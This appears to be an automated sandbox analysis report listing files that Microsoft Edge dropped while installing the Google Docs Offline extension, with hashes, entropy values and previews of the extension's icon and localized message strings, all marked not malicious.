Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
